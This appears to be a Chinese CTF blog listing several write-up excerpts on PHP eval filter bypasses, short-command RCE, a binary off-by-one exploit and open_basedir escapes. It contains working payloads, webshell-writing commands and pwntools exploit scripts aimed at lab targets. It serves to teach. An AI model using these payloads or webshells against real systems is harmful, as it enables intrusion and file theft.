wubba lubba dub dub.
post @ 2023-10-10

题目链接

源码提示有swp,访问.index.php.swp成功下载得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>

发现有md5前5位比对校验,且当前$_SESSION['code']在页面中也有展现 因此可以爆破 然后就是无参函数构造了

爆破哈希可以查看生日攻击:哈希碰撞与生日攻击 - 阮一峰的网络日志 (ruanyifeng.com)

无参函数构造可见:https://antel0p3.github.io/2023/09/26/HNCTF2022-Canyource-wp/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashlib
import math
import requests
import re

def one(s):
ss = b"[~"
for each in s:
ss += (255 - ord(each)).to_bytes(1, 'little')
ss += b"][~\xCF]("
return ss
def get_not(a): # 将命令转为[~\x8F\x8D\x96\x91\x8B\xA0\x8D][~\xCF]();的形式
aa = a.split("(")
s = b""
for each in aa[:-1]:
s += one(each)
s += b")" * (len(aa) - 1) + b";"
# print(s)
return s

url = 'http://node4.anna.nssctf.cn:28583/'
sess = requests.session() # 注意这里用session()是为了保持会话状态
res = sess.get(url=url)
sum = re.findall(',0,5[)]==(.....)', res.text)[0] # 获取5位哈希值
print(sum)

code = ''
for i in range(800000): # 爆破 不成功多试几次
md5 = hashlib.md5(str(i).encode())
if md5.hexdigest()[:5] == sum:
print(i)
code = i
break
1
2
res = sess.post(url=url, data={"cmd":get_not('phpinfo();'), "code":code})
print(res.text)

成功获取到phpinfo结果 渲染后查看 disabled_functions中没有禁用函数

1
2
3
4
5
res = sess.post(url=url, data={"cmd":get_not('print_r(getallheaders());'), "code":code})
# Array (
# [Host] => node4.anna.nssctf.cn:28583
# [User-Agent] => python-requests/2.31.0
# ...)
1
2
3
4
5
6
headers = {"User-Agent": "ls"}	# 这里放要执行的命令
res = sess.post(url=url, headers=headers, data={"cmd":get_not('print_r(getallheaders());'), "code":code})
# Array (
# [Host] => node4.anna.nssctf.cn:28583
# [User-Agent] => ls
# ...)
1
2
3
headers = {"User-Agent": "ls"}
res = sess.post(url=url, headers=headers, data={"cmd":get_not('print_r(next(getallheaders()));'), "code":code})
# ls
1
2
3
headers = {"User-Agent": "ls /;cat /fll*"}
res = sess.post(url=url, headers=headers, data={"cmd":get_not('system(next(getallheaders()));'), "code":code})
# flll1114gggggg ...
Read More
post @ 2023-10-07

题目链接

输入command,提交后跳转到post.php
POST cmd尝试多次发现命令最长长度只能为6 成功执行会提示在./tmp/下成功执行
虽然有的情况下提示执行失败,但实际上是执行了的 所以回显不一定可信

法一

1
2
>nl		# 创建一个名为nl的文件
* /*>a # 第一个*相当于将ls的第一个输出作为命令 剩下的作为参数来执行 即 nl /*>a

法二

前置知识

1
2
3
4
5
6
7
>file	# 生成名为file的文件
*>a # 将ls的第一个输出作为命令 剩下的作为参数来执行
sh a # 将文件内容作为命令执行
# 换行执行命令:
ech\
o\
xxx

例(空文件夹下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>dir
>sl
>ht-
>f\>
ls
# dir 'f>' ht- sl
*>v
# v: f> ht- sl
>rev
*v>0
# 0: ls -th >f
sh 0
cat f
# 0 rev v ....

5字符RCE写木马脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
url="http://node5.anna.nssctf.cn:28362/post.php"
with open("5字符RCE.txt", "r") as f:
for i in f:
data = {"cmd": f"{i.strip()}"}
requests.post(url=url,data=data)

5字符RCE.txt(写入1.php 木马GET[1])
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

1
/tmp/1.php?1=system('ls /;cat /flag');
Read More
post @ 2023-09-29

相关资源

文件分析

1
2
3
4
5
6
$ checksec note
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {
char *v3; // rax
int option; // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
char *file_content; // [rsp+18h] [rbp-8h]

setup();
v5 = "%d";
open_file();
file_content = read_file();
menu();
while (1) {
printf("> ");
if ((int)_isoc99_scanf(v5, &option) <= 0)
break;
switch (option) {
case 1:
printf("Note:");
file_content = read256();
break;
case 2:
printf("Note:%s\n", file_content);
break;
case 3:
save_file(file_content);
puts("Saved!");
break;
case 4:
fclose(stream);
v3 = md5(ID);
unlink(v3);
open_file();
puts("Done!");
break;
case 5:
if (stream)
fclose(stream);
exit(0);
default:
puts("Invalid choice");
break;
}
}
exit(0);
}

其中19#read256 这里存在off_by_one 会在256个字符后写入一个0x00字节 也就是 old_rbp 的末尾

1
2
3
4
5
char *read256() {
char s[256]; // [rsp+0h] [rbp-100h] BYREF
_isoc99_scanf("%256s", s);
return strdup(s);
}

攻击方法

先填充0x100字节查看

1
2
3
4
5
6
0x007ffffb03c748│+0x0000: "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh[...]"	 ← $rsp
[...]
0x007ffffb03c838│+0x00f0: "hhhhhhhhhhhhhhhh"
0x007ffffb03c840│+0x00f8: "hhhhhhhh"
0x007ffffb03c848│+0x0100: 0x007ffffb03c800
0x007ffffb03c850│+0x0108: 0x00000000400ef8 → mov QWORD PTR [rbp-0x8], rax

可以看到从748写到848,old_rbp被改写成800 也就是返回到main函数时,rbp为800,那么因为参数是基于rbp-0x??来获取的 因此我们在填充字节的时候可以按照偏移给main函数中的变量赋值

1
2
3
int option;         // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
char *file_content; // [rsp+18h] [rbp-8h]

v5原值为%d指针,我们可以改成%256s指针,读取option时在当前栈上写入内容

file_content可以改为puts@got 选项2时即可输出puts真实地址从而获取libc基地址

也就是748-7f0:b'h' 7f0-7f8:ptr_to_%256s 7f8-800:puts@got

那么下一次输入选项时 可以发送 int(2) + ptr_to_%256s + puts@got 来选择输出选项并保持栈上变量内容
得到libc基址后计算one_gadget

在下一次输入选项时 覆盖__isoc99_scanf的ret addr 为one_gadget (调试得到该ret addr与option地址偏移为0x64)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./note")
belf = ELF("./note")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def edt(con):
sla(b'>', b'1')
sa(b'Note', con)

gscript = '''
b * 0x0000000000400DB6
b * 0x0000000000400F01
b * 0x0000000000400EF3
''' + 'c\n' * 0
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

a256s = 0x401129
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

sla(b'ID:', b'1')
edt((b'h' * 0xa8 + p64(a256s) + p64(belf.got['puts'])).ljust(0x100, b'h')) # 布置栈上内容并off_by_one一个0x00字节
sla(b'>', p32(2) + p64(a256s) + p64(belf.got['puts']))
libc_base = ga() - libc.sym['puts']
ls(hex(libc_base))

sla(b'>', b'h' * 0x64 + p64(libc_base + gadgets[1])) # 覆盖__isoc99_scanf的 ret_addr

pi()
pause()
Read More
post @ 2023-09-28

CTFSHOW 极限命令执行1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
// 可用字符: ! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~

可以用通配符执行命令

1
2
3
payload1:ctf_show=/?????a?	# /getflag
payload2:ctf_show=/???/?a??64 /??a? # /bin/base64 /flag
payload3: ctf_show=/???/???/?a??64 /??a? # /usr/bin/base64 /flag

CTFSHOW 极限命令执行2

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}

检测过滤脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import string

alpha = string.printable
t = ''
for i in alpha:

data = {"ctf_show":i}
res = requests.post("http://1b8d2008-3f7a-4db6-82fb-aef9af5e8893.challenge.ctf.show/", data=data)
if not res.text.endswith('?'):
t+=i+' '
print(t)
# 0 1 2 3 4 5 6 7 8 9 ! # $ & ' ( ) < \ _ { } ~

过滤了问号 这里使用8进制数字编码

1
2
3
4
$ echo $'\154\163'
ls
$ printf '\154\163'
$ $'\154\163' # 相当于执行ls

CTFSHOW 极限命令执行3

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag在根目录flag里

highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}

检测过滤脚本得到可用字符0 1 ! # $ & ' ( ) < \ _ { } ~

数字只有0和1可用 想着能不能通过二进制来构造 bash中$(())可以进行数学运算 $((2#101...))将二进制串解释为十进制

1
2
3
4
$ echo $((1*3))
3
$ echo $((2#101))
5

那么我们可以通过二进制构造不同数字,再通过数字编码来执行命令

但是2也是不可用的,怎么办呢?同样可以通过数学运算得来:$((1<<1))$((2#101...)) -> $(($((1<<1))#101...))

接着就可以构造数字编码了,以ls为例对应八进制数字编码为 ‘\154\163’

1
2
3
4
5
6
7
8
$ echo $(($((1<<1))#101))
5
$ echo \'\\$(($((1<<1))#10011010))\' # 注意'和\都要转义
'\154'
$ echo \'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
'\154\163'
$ $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$'\154\163': command not found

发现虽然成功解析出,但没有进一步解释执行 这里需要用到两个知识

1
2
1. <<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin
2. $0 即为bash

那么将输出作为bash的stdin即可解释执行,发送payload后也可以看到成功执行

1
2
3
$ $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'	  # ls

check.php index.php

二进制命令脚本

1
2
3
4
5
6
7
8
9
cmd='ls'
res = "$0<<<$\\'" # res = "$0<<<$0\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)
t = bin(t)
res +="\\\\$(($((1<<1))#" + t[2:] + "))"

res += "\\'"
print(res)

若是执行cat /flag 则会报错

1
2
$ $0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
bash: line 1: cat /flag: No such file or directory

这是因为bash执行不了带参数的命令 会将cat /flag整个字符串当成命令执行,所以找不到该文件

那么可以使用两次here-strings来解决

1
2
3
$ $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

{{{{{flag here I am !!!!}}}}}

CTFSHOW 极限命令执行4

可用字符0 ! # $ & ' ( ) < \ _ { } ~

字符1也被过滤了,那就想有没有办法构造字符1

补充知识: $ = 1 因此可以用$来代替1

1
2
3
4
5
6
7
8
9
10
11
12
cmd='cat /flag'
res = "$0<<<$0\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)
t = bin(t)
res +="\\\\$(($((1<<1))#" + t[2:] + "))"

res += "\\'"

res = res.replace('1', "${##}")
print(res)
# $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

成功执行得到flag

CTFSHOW 极限命令执行5

可用字符! $ & ' ( ) < = \ _ { } ~

字符0, #也不能用了 这里继续使用数学运算得到各数字 $(())会计算括号中的表达式得到结果

1
2
3
4
5
6
7
8
9
10
$ echo $(())
0
$ echo $((~$(()))) # $((~0))
-1
$ echo $((~$(())))$((~$(())))
-1-1
$ echo $(($((~$(())))$((~$(()))))) # $((-1-1))
-2
$ echo $((~$(($((~$(())))$((~$(()))))))) # $((~(-2)))
1

由此 我们可以不用数字来构造命令 但是仍需要here-string来解释执行命令 但是0不可用,想着是否有别的替代方式

1
2
3
4
$ echo ${!#}
bash
$ echo ${!?}
bash

可见这两种都可以充当bash,但是#, ?被过滤

!功能一览:

1
2
3
4
5
6
7
8
9
10
11
!!	# 上一条命令
!$ # 上一条命令中的最后一个参数
!:- # 上一命令除了最后一个参数
!* # 上一条命令中的所有参数
!str # 最近一条以str开头的命令
!?str? # 最近一条包含str的命令
!n # 顺数第n条命令
!-n # 倒数第n条命令
^old^new # 将上一命令中的old替换为new
!!:gs/old/new # 将上一命令中的old替换为new
!scp:gs/old/new # 将上一scp命令中的old替换为new

那么有

1
2
3
4
5
6
7
8
9
10
11
12
$ __=$(())&&echo $__
0
$ !__
__=$(())&&echo $__ # 此处__开头的命令被再次执行
0

$ __=$(())
$ echo ${!__}
bash

$ __=$(())&&${!__}<<<whoami
root

即可以用__=$(())&&${!__}来代替$0

构造脚本

1
2
3
4
5
6
7
8
9
10
cmd='cat /flag'
res = "__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)

res +="\\\\$((~$((" + "$((~$(())))" * (t + 1) + "))))" # 这里重复-1-1-1...然后计算凑成目标数

res += "\\'"

print(res)
1
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((.........))\'		# 注意&&要url编码

构造脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#level5
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='ls'
r = {}

x='$((~$(())))' #-1

for i in range(1,9):
r[i]='$((~$(('+x
for j in range(i):
r[i]+=x
r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+='\\\\'
for i in oct(ord(c))[2:]:
payload+=r[int(i)]

payload+='\\\''
print(payload)

# 或者也可以先用记录各个数字字符 然后拼凑, 如
# ___=$((~$(($((~$(())))$((~$(())))))))&&____=$((~$(($((~$(())))$((~$(())))$((~$(())))))))&&_____=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&______=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&_______=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&_________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&__________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&___________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
# 相当于___=1,____=2,...
# &&$0<<<$\'\\$___$_______$______\\$___$________$_____\' # 执行了ls $'\154\163'
Read More
post @ 2023-09-26

题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

4#\W匹配所有”非word”的字符,即[^0-9a-zA-Z] 那么[^\W]即匹配[0-9a-zA-Z] (?R)?为循环匹配搜索

循环匹配探索

在上述的扩展表达式中有一个循环模式, 特殊项(?R)提供了递归的这种特殊用法,在PRCE模式中,考虑匹配圆括号内字符串的问题

1
2
3
4
5
6
var_dump(preg_replace('/\((?R)?\)/',NULL,'((((()))()()()'));
var_dump(preg_replace('/\((?R)?\)/',NULL,'((()))()()'));
var_dump(preg_replace('/\((?R)?\)/',NULL,'((()))abc()cd()'));
// string(2) "(("
// string(0) ""
// string(5) "abccd"

也就是要进行无参函数构造

无参函数构造

1
2
3
4
5
6
7
8
9
10
11
12
getcwd();	// 获取当前路径
dirname(); // 返回路径的上层路径
chdir(); // 改变工作目录
get_defined_vars(); // 返回由所有已定义变量所组成的数组
scandir(); // 扫描当前目录
current(); // 获取数组中最先加入的元素(默认第一个)
next(); // 获取数组中下一个元素
prev(); // 获取数组中上一个元素
end(); // 获取数组中最后一个元素
readfile();get_file_contents(); // 读取文件内容
array_flip(); // 数组中键值对互换
array_rand(); // 随机获取数组中的键

法一

使用get_defined_vars

1
2
?code=print_r(get_defined_vars());&b=system('ls');
// Array ( [_GET] => Array ( [code] => print_r(get_defined_vars()); [b] => system('ls'); ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) )

可以看到 [b] => system('ls');也会出现在数组中 由此,我们只要进行数组元素获取并eval即可

1
2
3
4
5
6
7
8
?code=print_r(current(get_defined_vars()));&b=system('ls');
// Array ( [code] => print_r(current(get_defined_vars())); [b] => system('ls'); )
?code=print_r(end(current(get_defined_vars())));&b=system('ls');
// system('ls');
?code=eval(end(current(get_defined_vars())));&b=system('ls');
// flag.php index.php
?code=eval(end(current(get_defined_vars())));&b=system('cat flag.php');
// 抓包或检查页面元素看到flag

法二

扫描目录 数组获取元素 读取文件内容

1
2
3
4
5
6
7
8
9
10
?code=print_r(getcwd());
// /var/www/html
?code=print_r(scandir(getcwd()));
// Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
?code=print_r(array_reverse(scandir(getcwd())));
// Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
?code=print_r(next(array_reverse(scandir(getcwd()))));
// flag.php
?code=print_r(readfile(next(array_reverse(scandir(getcwd())))));
// flag....

或者

1
2
?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
//随机读取文件内容
Read More
post @ 2023-09-26

题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
if (isset($_GET['wllm'])) {
$wllm = $_GET['wllm'];
$blacklist = [' ', '\^', '\~', '\|'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}
}
if (preg_match('/[a-zA-Z0-9]/is', $wllm)) {
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
} else {
echo "蔡总说:注意审题!!!";
}
?>

异或和取反明显都不行 采用自增构造 尝试发现执行system无果 使用file_put_contents写木马到文件

详见无字母RCE

1
2
3
?wllm=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B	
# assert($_POST[_])
# post _=file_put_contents('1.php','<?php @eval($_POST["cmd"]); ?>')

访问1.php 执行phpinfo发现system, exec等函数都被禁用 并且设置了open_basedir

绕过payload

1
cmd=print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);

open_basedir绕过脚本

获取目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

$dir = new DirectoryIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
show_source(__FILE__);

?>

读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

echo file_get_contents('/etc/hosts');

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
show_source(__FILE__);

mkdir("1");chdir("1");
mkdir("2");chdir("2");
mkdir("3");chdir("3");
mkdir("4");chdir("4");

chdir("..");chdir("..");chdir("..");chdir("..");

symlink("1/2/3/4","tmplink");
symlink("tmplink/../../../../etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
?>
Read More
post @ 2023-09-24
1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>

异或

借助异或构造payload如下

1
2
3
4
5
6
7
8
9
10
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

// 或者构造eval($_POST[_]), assert($_POST[_])
// assert($_POST[_])
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);&_=phpinfo();

然后我们再取消一下换行符,将它合并于一行之中

1
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);	// $_POST[_]($_POST[__]);

最后进行一次URL编码

1
code=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B

或者直接多个字符一起异或,根据未过滤字符构造目标脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "	# 没有被过滤的字符

answer = "phpinfo"

tmp1,tmp2 = '',''
for c in answer:
for i in valid:
for j in valid:
if (ord(i)^ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(f'"{tmp1}"^"{tmp2}"')

# "0302181"^"@[@[_^^"
# $_="0302181"^"@[@[_^^";$_();

自增

官方文档如下
https://www.php.net/manual/zh/language.operators.increment.php

